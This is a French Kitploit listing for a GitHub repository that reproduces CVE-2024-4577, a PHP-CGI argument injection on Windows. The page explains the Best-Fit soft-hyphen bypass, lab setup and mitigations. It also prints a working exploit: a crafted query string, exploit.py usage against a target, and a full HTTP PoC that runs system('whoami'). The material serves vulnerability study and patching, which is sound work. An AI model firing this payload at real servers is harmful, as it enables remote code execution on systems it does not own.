Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2024-4577-phpcgi_rce_reproduction — Reproduction de CVE : cve-2024-4577-phpcgi_rce_reproduction | Kitploit
Outils/GitHubGitHub/razureink/cve-2024-4577-phpcgi_rce_reproduction
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleDéveloppement de Charges Utiles
GitHubrazureink/cve-2024-4577-phpcgi_rce_reproduction

cve-2024-4577-phpcgi_rce_reproduction

Reproduction de CVE : cve-2024-4577-phpcgi_rce_reproduction

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
1il y a 28 joursPas encore vérifié

CVE-2024-4577 - Injection d'arguments CGI PHP sous Windows (« WorstFit »)

Présentation

CVE-2024-4577 est une vulnérabilité critique d'exécution de code à distance dans l'implémentation CGI de PHP sous Windows. Elle contourne le correctif de la CVE-2012-1823 d'origine en exploitant la conversion de page de code « Best-Fit » de Windows pour faire transiter des arguments de ligne de commande via la chaîne de requête CGI.

  • Score CVSS : 9.8 (Critique)
  • Découverte par : Orange Tsai (DEVCORE)
  • Type : Injection de commandes OS / Injection d'arguments
  • Date du correctif : 6 juin 2024

Détails techniques

Lorsque PHP s'exécute en tant que module CGI (php-cgi.exe), il analyse la chaîne de requête comme des arguments de ligne de commande. Le correctif d'origine de la CVE-2012-1823 bloquait le caractère - (trait d'union, 0x2D) pour empêcher l'injection d'arguments. Cependant, sur les systèmes Windows utilisant certaines pages de code (par exemple, chinois, japonais, coréen), la fonction de correspondance de caractères « Best-Fit » convertit des caractères Unicode spécifiques en leurs équivalents ASCII les plus proches.

La technique de contournement clé utilise le caractère trait d'union souple (0xAD / U+00AD). Lorsqu'une requête transmet %AD dans la chaîne de requête et que la locale du serveur utilise une page de code « Best-Fit », Windows convertit en interne 0xAD en 0x2D (trait d'union), ce qui permet à l'attaquant d'injecter des arguments PHP malgré le filtre.

Exemple : %ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input devient -d allow_url_include=1 -d auto_prepend_file=php://input.

Versions concernées

  • PHP 8.1.* avant 8.1.29
  • PHP 8.2.* avant 8.2.20
  • PHP 8.3.* avant 8.3.8

Exigences de configuration :

  • PHP fonctionnant en CGI avec php-cgi.exe
  • Serveur web Apache avec mod_cgi ou mod_cgid configuré
  • Locale Windows utilisant une page de code « Best-Fit » (chinois, japonais, coréen, etc.)

Mise en place de l'environnement (XAMPP)

  1. Téléchargez une version vulnérable de PHP (par exemple, 8.1.28) pour Windows.
  2. Configurez XAMPP ou Apache en mode CGI :
    root@kitploit:~
    ScriptAlias /php-cgi/ "C:/php/"
    Action application/x-httpd-php-cgi /php-cgi/php-cgi.exe
    
  3. Vérifiez la cible : http://localhost/php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input

Utilisation

root@kitploit:~
python exploit.py -t http://target/php-cgi/php-cgi.exe -c "whoami"
python exploit.py -t http://target/php-cgi/php-cgi.exe --phpinfo

PoC

La charge utile spécialement conçue injecte des directives de configuration PHP via la chaîne de requête :

root@kitploit:~
GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Host: target
Content-Type: application/x-www-form-urlencoded

<?php system("whoami"); ?>

Atténuation

  • Mettez à niveau PHP vers 8.3.8+, 8.2.20+ ou 8.1.29+
  • Désactivez le mode CGI et utilisez PHP-FPM, mod_php ou FastCGI à la place
  • Appliquez des règles de réécriture IIS ou Apache pour bloquer les requêtes vers php-cgi.exe
  • Exécutez PHP uniquement sur des systèmes utilisant des pages de code non « Best-Fit » (par exemple, l'anglais)

Références

  • https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-en/
  • https://nvd.nist.gov/vuln/detail/CVE-2024-4577
  • https://www.php.net/ChangeLog-8.php
  • https://github.com/php/php-src/commit/2ae601d8d0d5b42891c6e15a28a14d1f44855f09
Télécharger l’outil